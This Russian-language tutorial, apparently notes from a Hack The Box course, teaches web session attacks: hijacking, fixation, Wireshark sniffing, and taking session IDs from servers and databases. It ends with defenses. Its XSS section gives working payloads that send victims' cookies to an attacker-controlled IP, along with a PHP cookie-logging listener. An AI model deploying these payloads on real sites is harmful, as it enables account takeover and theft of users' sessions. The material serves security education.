Атаки на сессию. Часть 1. Получение идентификатора сеанса.
Глава 1. ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРА СЕАНСА.
- ЧТО ТАКОЕ СЕАНС ПОЛЬЗОВАТЕЛЯ.
- ПЕРЕХВАТ СЕАНСА.
- ФИКСАЦИЯ СЕАНСА.
- ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРА СЕАНСА БЕЗ ВЗАИМОДЕЙСТВИЯ С ПОЛЬЗОВАТЕЛЕМ.
- ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРА СЕАНСА С ПОМОЩЬЮ XSS.
- ЗАЩИТА.
_________________________________________________________________________________
§ 1.1. ЧТО ТАКОЕ СЕАНС ПОЛЬЗОВАТЕЛЯ.
1.1.1) СЕАНС ПОЛЬЗОВАТЕЛЯ — это последовательность запросов, исходящих от одного и того же клиента, и связанных с запросами ответов в течение определенного периода времени. Современные веб-приложения должны поддерживать сеансы пользователей, чтобы отслеживать информацию и статус каждого пользователя. Пользовательские сеансы облегчают назначение прав доступа или авторизации, настроек локализации и т. д., в то время как пользователи взаимодействуют с приложением до и после аутентификации.
Каждый пользовательский запрос должен содержать всю необходимую информацию, чтобы сервер мог отреагировать на него соответствующим образом, а состояние сеанса находится только на стороне клиента.
Для отслеживания сеансов и управления ими веб-приложения используют файлы cookie, URL-параметры, параметры запросов GET или POST и другие решения.
1.1.2) ИДЕНТИФИКАТОР СЕАНСА — это уникальный идентификатор сеанса или токен, на основе который генерируются и распознаются пользовательские сеансы.
Если злоумышленник получит идентификатор сеанса, то он может перехватить сеанс, выдав себя за жертву в веб-приложении Идентификатор сеанса также можно получить следующими способами:
- Захват с помощью пассивного отслеживания трафика/пакетов.
- Идентифицирован в журналах
- Угадывание
- Брутфорс
1.1.3) БЕЗОПАСНОСТЬ ИДЕНТИФИКАТОРА СЕАНСА — уровень безопасности идентификатора сеанса зависит от следующих факторов:
- Область действия сеанса: идентификатор безопасного сеанса должен быть действителен только для одного сеанса.
- Случайность сеанса: идентификатор безопасного сеанса должен быть сгенерирован с помощью надёжного алгоритма генерации случайных чисел/строк, чтобы его нельзя было предсказать.
- Срок действия сеанса: идентификатор безопасного сеанса должен истечь через определенное время.
- Место хранения сеанса:
- URL-строка. В этом случае, заголовок HTTP-ссылки может привести к утечке идентификатора сеанса другим веб-сайтам. Кроме того, в истории браузера также будет содержаться любой идентификатор сеанса, сохраненный в URL-адресе.
- HTML-код. В этом случае, идентификатор сеанса может быть идентифицирован в кэш-памяти браузера и в любых промежуточных прокси-серверах.
- sessionStorage — это функция хранения данных в браузере, представленная в HTML5. Идентификаторы сеанса, хранящиеся в sessionStorage, можно получить, пока открыта вкладка или браузер. Данные в sessionStorage удаляются сразу при завершении сеанса работы со страницей. Однако, сеанс страницы сохраняется после перезагрузки и восстановления страницы.
- localStorage — это функция хранения данных в браузере, представленная в HTML5. Идентификаторы сеансов, хранящиеся в localStorage, можно получить до тех пор, пока пользователь не удалит localStorage. Данные в localStorage не будут удалены при завершении работы браузера, за исключением сеансов «приватного просмотра» или «инкогнито», тогда данные в localStorage удаляются к моменту закрытия последней вкладки.
Технологии в языках программирования сами генерируют идентификаторы сеансов, которые соответствуют вышеуказанным факторам.
Идентификаторы сеансов, которые управляются без вмешательства сервера или которые не соответствуют описанным выше характеристикам безопасности, считаются слабыми.
- Перехват сеанса: при этой атаке злоумышленник использует небезопасные идентификаторы сеансов, находит способ получить их и использует их для аутентификации на сервере и выдачи себя за жертву.
- Фиксация сеанса: эти атаки происходят тогда, когда злоумышленник может зафиксировать действительный идентификатор сеанса. Злоумышленнику придётся обманом заставить жертву войти в приложение (целевое или двойник?), используя зафиксированный идентификатор сеанса. Если жертва это сделает, злоумышленник может перейти к атаке перехвата сеанса, поскольку идентификатор сеанса уже будет известен.
- XSS.
- CSRF (подделка межсайтовых запросов): данные атаки вынуждают конечного пользователя выполнять непреднамеренные действия в веб-приложении, в котором пользователь в данный момент аутентифицирован. Эта атака осуществляется с помощью созданных злоумышленником веб-страниц, которые жертва должна посетить или с которыми должна взаимодействовать. Эти веб-страницы содержат вредоносные запросы, которые наследуют идентификационные данные и привилегии жертвы для выполнения нежелательной функции от имени жертвы.
- Open Redirect (открытое перенаправление): уязвимость Open Redirect возникает тогда, когда злоумышленник может перенаправить жертву на контролируемый злоумышленником сайт, злоупотребив функцией перенаправления законного приложения. В таких случаях, злоумышленнику нужно лишь указать адрес своего вредоносного сайта в URL-адресе перенаправления законного веб-сайта и передать жертве весь получившийся URL-адрес. Это возможно, когда функция перенаправления законного приложения не выполняет никакой проверки веб-сайтов, на которые указывает перенаправление.
§ 1.2. ПЕРЕХВАТ СЕАНСА.
1.2.1) ПЕРЕХВАТ СЕАНСА — это атаки, при которых злоумышленник использует небезопасные идентификаторы для аутентификации на сервере от имени жертвы.
Идентификатор сеанса жертвы можно получить с помощью следующих способов:
- Пассивное отслеживание трафика.
- XSS.
- Просмотр истории браузера или логов.
- Получить доступ к чтению базы данных, содержащей информацию о сеансе.
ЭТАП 1. Например, у нас есть есть веб-приложение, где нужно пройти аутентификацию для входа в систему:
Данное веб-приложение использует файл cookie auth-session с длинным значением в качестве идентификатора сеанса. В данный момент, мы не вошли в веб-приложение, поэтому нам присвоили идентификатор сеанса неаутентифицированного пользователя:
ЭТАП 2. Получить значение файла cookie auth-session аутентифицированного пользователя в веб-приложении (HTB не показал, как украсть чужое значение файла cookie auth-session).
Допустим, мы получили следующее значение файла cookie auth-session пользователя Джули Роджерс:
s%3AEXu3Jwx_vV2A53Z5JIv8n37JTb42_Ceb.1nAUDh5Y1%2FRoLa1XBcyQ0XJg97NWdUeK5P4kR7IFPZE
ЭТАП 3. Пройти аутентификацию в веб-приложении с помощью полученного значения файла cookie auth-session.
Для этого нужно открыть инструменты веб-разработчика, перейти в раздел "Хранилище" и заменить текущее значение auth-session на значение пользователя Джули Роджерс, полученное на 2-м этапе:
Далее нужно перезагрузить веб-страницу, и мы войдём в систему как пользователь Джули Роджерс, не используя никаких учетных данных:
§ 1.3. ФИКСАЦИЯ СЕАНСА.
1.3.1) ФИКСАЦИЯ СЕАНСА — это атака, при которой злоумышленник может зафиксировать действительный идентификатор сеанса. Злоумышленнику придётся обманом заставить жертву войти на вредоносный сайт, используя зафиксированный идентификатор сеанса. Если жертва это сделает, то злоумышленник может перейти к атаке перехвата сеанса, поскольку идентификатор сеанса уже будет известен.
Уязвимости фиксации сеанса возможны только при наличии всех следующих условий:
- назначенный идентификатор сеанса перед входом в систему остаётся неизменным после входа в систему.
- идентификаторы сеанса принимаются из URL-строки или POST-запроса.
ЭТАП 1. Получить действительный идентификатор сеанса. Для его получения не всегда требуется проходить аутентификацию в веб-приложении, поскольку многие веб-приложения присваивают действительные идентификаторы сеанса любому, кто просматривает веб-приложение.
Например, у нас есть есть веб-приложение, где на странице аутентификации нам уже присвоили действительный идентификатор сеанса в URL-строке:
token=hpkp010mj4j7c5a31d6ibe4pvb
При этом значение токена в URL-строке такое же, как и в файле cookie сеанса с именем PHPSESSID:
Если действительный идентификатор сеанса, указанный в URL-строке совпадает с файлом cookie сеанса, то скорее всего, веб-приложение имеет уязвимости фиксации сеанса.
ЭТАП 2. Зафиксировать действительный идентификатор сеанса. Для этого нужно скопировать весь URL-адрес из страницы аутентификации и сохранить у себя:
http://website.com/?redirect_uri=/complete.html&token=hpkp010mj4j7c5a31d6ibe4pvb
ЭТАП 3. Заставить жертву посетить скопированный URL-адрес из 2-го этапа. Когда жертва посетит веб-страницу авторизации, то у неё значение токена в URL-строке и файл cookie сеанса PHPSESSID будут содержать наш идентификатор сессии:
Следовательно, если жертва авторизуется в веб-приложении, то сделает она это с помощью нашего идентификатора сессии.
И тогда мы сможет легко перехватить его сессию, поскольку идентификатор сессии нам известен, то есть мы его зафиксировали. Нам нужно будет на веб-странице авторизации ввести в значении токена в URL-строке и в файл cookie сеанса PHPSESSID наш идентификатор сессии hpkp010mj4j7c5a31d6ibe4pvb. И затем обновить страницу.
§ 1.4. ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРА СЕАНСА БЕЗ ВЗАИМОДЕЙСТВИЯ С ПОЛЬЗОВАТЕЛЕМ.
1.4.1) ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРОВ СЕАНСА ЧЕРЕЗ ПЕРЕХВАТ ТРАФИКА — для перехвата трафика нужно наличие всех следующих условий:
- злоумышленник и жертва должны находиться в одной локальной сети. Нельзя выполнить перехват трафика удаленно.
- трафик HTTP должен быть не зашифрован. Если перехватывать трафик HTTP, то не возникнет сложностей с получением любой информации (имена пользователей, пароли и идентификаторы сеансов), поскольку протокол HTTP передаёт данные в незашифрованном виде. Если трафик HTTP зашифрован с помощью SSL или IPsec, то получить информацию в большинстве случаев будет невозможно.
1.4.2) ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ WIRESHARK.
Например, у нас есть есть веб-приложение, где пользователи на странице вводят свои данные на странице аутентификации для входа в систему. Данное веб-приложение использует файл cookie auth-session с длинным значением в качестве идентификатора сеанса.
Допустим, что в систему вошёл пользователь Джули Роджерс. Мы должны перехватить его идентификатор сеанса в виде файла cookie auth-session.
ЭТАП 1. Запустить Wireshark с помощью следующей команды:
Далее откроется Wireshark с разными интерфейсами для прослушки, где нужно щелкнуть правой кнопкой мыши по нужному интерфейсу и нажать на «Начать захват». В нашем случае, мы выбрали интерфейс tun0 для захвата трафика:
ЭТАП 2. Настроить Wireshark для просмотра трафика. Сначала нужно отфильтровать результаты перехвата трафика, чтобы видеть только трафик HTTP, вписав в следующем поле слово http:
Теперь нужно найти в результатах перехвата трафика идентификатор сеанса в виде файла cookie auth-session. Нужно перейти во вкладку Правка ➞ Найти пакет:
Далее нужно настроить фильтры Wireshark следующим образом:
- В разделе «список пакетов» выбрать «байты пакета».
- В разделе «чувствительность к регистру» выбрать «строка».
- В разделе «поиск» записать имя файла cookie auth-session.
После окончания настроек, нужно нажать кнопку «Найти».
Wireshark предоставит нам отфильтрованные пакеты, включающие имя файла cookie auth-session. Чтобы скопировать файл cookie auth-session, нужно щелкнуть по нему правой кнопкой мыши, а затем Копировать ➞ Значение.
ЭТАП 3. Пройти аутентификацию в веб-приложении с помощью полученного значения файла cookie auth-session.
Для этого нужно открыть инструменты веб-разработчика, перейти в раздел "Хранилище" и заменить текущее значение auth-session на значение пользователя Джули Роджерс, полученное на 2-м этапе:
Далее нужно перезагрузить веб-страницу, и мы войдём в систему как пользователь Джули Роджерс:
1.4.3) ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРОВ СЕАНСА ПОСЛЕ ЭКСПЛУАТАЦИИ (ДОСТУП К ВЕБ-СЕРВЕРУ) — на этапе постэксплуатации идентификаторы сеанса и данные сеанса могут быть извлечены из памяти веб-сервера или из памяти (чего?).
I) ИДЕНТИФИКАТОРЫ СЕАНСОВ PHP.
Чтобы выяснить где хранятся идентификаторы сеансов PHP, нужно ввести команду:
Нас интересуют следующие файлы: /etc/php/7.4/cli/php.ini и /etc/php/7.4/apache2/php.ini:
В содержании обоих файлах видно, что конфигурации по умолчанию установлены в /var/lib/php/sessions:
Мы нашли сеанс пользователя и далее можем перехватить этот сеанс в веб-приложении. Чтобы мы могли просмотреть идентификатор сеанса жертва, она должна пройти аутентификацию.
II) ИДЕНТИФИКАТОРЫ СЕАНСОВ JAVA.
Идентификаторы сеансов Java создаются и поддерживаются в веб-приложениях с помощью диспетчера сеансов Manager.
Tomcat предоставляет две стандартные реализации Manager: реализация по умолчанию сохраняет активные сеансы, а дополнительная реализация сохраняет активные сеансы, которые были выгружены в хранилище, выбираемое с помощью соответствующего вложенного элемента Store. Имя файла данных сеанса по умолчанию: SESSIONS.ser.
Более подробную информацию читать здесь.
III) ИДЕНТИФИКАТОРЫ СЕАНСОВ .NET
Идентификаторы сеансов .NET хранятся в следующих местах:
- Рабочий процесс приложения (aspnet_wp.exe) — это относится к режиму сеанса InProc.
- StateServer (служба Windows, расположенная в IIS или на отдельном сервере) — это относится к режиму сеанса OutProc.
- SQL-сервер
Более подробную информацию читать здесь.
1.4.4) ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРОВ СЕАНСА ПОСЛЕ ЭКСПЛУАТАЦИИ (ДОСТУП К БАЗЕ ДАННЫХ) — когда у нас есть прямой доступ к базе данных, например, через SQL-инъекции или с помощью идентифицированных учетных данных, то нужно всегда проверять эти базы данных на наличие сохраненных пользовательских сеансов:
Мы видим, что пароли пользователей хешированы. Можно попробовать их взломать, а можно извлечь идентификаторы сеансов из таблицы all_sessions:
Мы успешно извлекли идентификаторы сеансов трёх пользователей! Теперь мы можем пройти аутентификацию в веб-приложении с помощью полученных идентификаторов сеанса.
§ 1.5. ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРА СЕАНСА С ПОМОЩЬЮ XSS.
1.5.1) ПОЛУЧЕНИЕ ИДЕНТИФИКАТОРОВ СЕАНСА С ПОМОЩЬЮ XSS — чтобы атака с использованием XSS привела к утечке файлов cookie сеанса, должны быть выполнены следующие требования:
- файлы cookie сеанса должны передаваться во всех HTTP-запросах.
- файлы cookie сеанса должны быть доступны с помощью кода JavaScript (должен отсутствовать атрибут HTTPOnly, который можно посмотреть в инструментах разработчика ).
ЭТАП 1. Например, у нас есть есть веб-приложение, где мы имеем доступ к учётной записи пользователя Эла Стиенен. В этом веб-приложении можно редактировать свои данные: адрес электронной почты, номер телефона и страну:
Нужно заполнить три поля ввода полезными нагрузками, чтобы выяснить какое поле ввода уязвимо к XSS.
В таких случаях, лучше всего использовать полезные нагрузки с обработчиками событий onload или onerror, которые запускаются автоматически (если эти обработчики событий будут заблокированы, можно использовать обработчик событий onmouseover):
- "><img src=x onerror=prompt(document.domain)> — команда"document.domain"заставит код JavaScript выполнится в реальном домене, а не в изолированной среде. Выполнение JavaScript в изолированной среде предотвращает атаки на стороне клиента.
- "><img src=x onerror=confirm(1)>
- "><img src=x onerror=alert(1)>
Далее нужно обновить профиль, нажав на кнопку «Сохранить».
Профиль будет успешно обновлен, однако мы не заметим результата работы полезной нагрузки. Это происходит потому, что часто код полезной нагрузки не выполняться до тех пор, пока его не активирует другая функция веб-приложения.
Поэтому когда мы нажмём на другую кнопку «Поделиться», веб-приложение перешлёт нас на страницу http://website.com/profile?email= и покажет результат работы полезной нагрузки, которая была указана в поле ввода страны:
Мы выяснили, что только третье поле ввода "страна" уязвимо к XSS.
ЭТАП 2. Проверить, отключён ли атрибут HTTPOnly в инструментах разработчика:
ЭТАП 3. Создать скрипт регистрации файлов cookie, который будет в качестве работать в качестве прослушивателя для перехвата файла cookie сеанса жертвы из уязвимого поля ввода "страна":
_______________________________________________________________________ <?php $logFile = "cookieLog.txt"; $cookie = $_REQUEST["c"]; $handle = fopen($logFile, "a"); fwrite($handle, $cookie . "\n\n"); fclose($handle); header("Location: http://www.website.com/"); exit; ?> _______________________________________________________________________
PHP-скрипт будет ждать, когда жертва запросит команду ?c=+document.cookie, а затем скрипт перехватит файл cookie жертвы. Скрипт будет перенаправлять жертву на целевой сайт www.website.com.
Сохраним этот скрипт как log.php.
Затем этот скрипт нужно запустить с помощью PHP-сервера:
php -S IPнашегоКомпьютера:8000
ЭТАП 3 (ДОПОЛНИТЕЛЬНЫЙ). Вместо PHP-скрипта мы можем использовать инструмент Netcat в качестве прослушивателя для перехвата файла cookie сеанса жертвы:
ЭТАП 4. Поместить в поле ввода страны одну из нижеприведённых полезных нагрузок, а поля ввода электронной почты и телефона оставить с исходным значением (первая полезная нагрузка предназначена для протокола HTTP, а вторая для протокола HTTPs):
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://IPнашегоКомпьютера:8000/log.php?c=' + document.cookie;"></video>
____________________________________________________________________________
<h1 onmouseover='document.write(`<img src="https://IPнашегоКомпьютера:8000?cookie=${btoa(document.cookie)}">`)'>test</h1>
____________________________________________________________________________
<script>fetch(`http://IPнашегоКомпьютера:8000?cookie=${btoa(document.cookie)}`)</script>
Примечание. PHP-сервер или Netcat могут отправлять данные в неправильном виде, если целевое веб-приложение использует HTTPS. Поэтому стоит использовать Burp Collaborator, XSSHunter или Project Interactsh.
Первые две полезные нагрузки перенаправляют жертву на http://www.google.com/, согласно PHP-скрипту на 3-м этапе. Третья полезная нагрузка не перенаправляет никуда.
ЭТАП 5. Заставить жертву посетить следующий URL-адрес:
http://website.com/[email protected]
Данный URL-адрес появляется тогда, когда мы нажимаем на кнопку «Поделиться», и которая показывает нам результаты работы полезной нагрузки, указанной в поле ввода страны.
Когда жертва посетит этот URL-адрес, то запущенный на 3-м этапе PHP-скрипт или Netcat получит файл cookie сеанса жертвы:
Значение файла cookie представлено в формате base64, поскольку в полезной нагрузке на 4-м этапе мы использовали функцию btoa(), которая кодирует файл cookie в формат base64.
Можно расшифровать значение файла cookie в консоли разработчика с помощью следующей команды:
Мы получили расшифрованное значение файла cookie и теперь можем использовать его для перехвата сеанса жертвы. В других случаях, можно и не расшифровывать файла cookie, а сразу использовать его для перехвата сеанса жертвы.
§ 1.6. ЗАЩИТА.
1.6.1) ЗАЩИТА ОТ ПЕРЕХВАТА СЕАНСА — противодействовать перехвату сеанса довольно сложно, поскольку действительный идентификатор сеанса по умолчанию предоставляет доступ к веб-приложению.
Программное обеспечение по мониторингу сеанса пользователя может обнаружить перехват сеанса. Более безопасным способом противодействия перехвату сеанса является устранение всех уязвимостей, описанных теме атак на сессию.
1.6.2) ЗАЩИТА ОТ ФИКСАЦИИ СЕАНСА — фиксацию сеанса можно устранить с помощью генерации нового идентификатора сеанса при выполнении аутентифицированной операции. Достаточно просто аннулировать любой идентификатор сеанса перед входом в систему и сгенерировать новый идентификатор после входа в систему.
Современные технологии программирования содержат встроенные функции и используют библиотеки для управления сеансами. Поэтому нет необходимости в специальных реализациях для исправления фиксации сеанса. Ниже приведены некоторые примеры:
PHP
_____________________________________________________________________ session_regenerate_id(bool $delete_old_session = false): bool _____________________________________________________________________
Данный код обновляет текущий идентификатор сеанса на новый сгенерированный. Текущая информация о сеансе сохраняется. Более подробно читать здесь: session_regenerate_id
Java
_____________________________________________________________________ ... session.invalidate(); session = request.getSession(true); ... _____________________________________________________________________
Данный код делает текущий сеанс недействительным и получает новый сеанс из объекта запроса. Более подробную читать здесь: Использование сеансов.
.NET
_____________________________________________________________________ ... Session.Abandon(); ... _____________________________________________________________________
Для аннулирования сеанса .NET использует функцию Session.Abandon(). Однако, этой функции недостаточно, поскольку когда пользователь покидает сеанс, то файл cookie идентификатора сеанса не удаляется из браузера пользователя. Следовательно, как только сеанс будет прекращен, все новые запросы к тому же веб-приложению будут использовать тот же идентификатор сеанса, но будут иметь новый экземпляр состояния сеанса.
Таким образом, чтобы комплексно решить проблему фиксации сеанса, нужно использовать функцию Session.Abandon() и перезаписать заголовок файла cookie или реализовать более сложное управление сеансом на основе файла cookie, расширив информацию, содержащуюся в файлах cookie, и выполнив проверки на стороне сервера.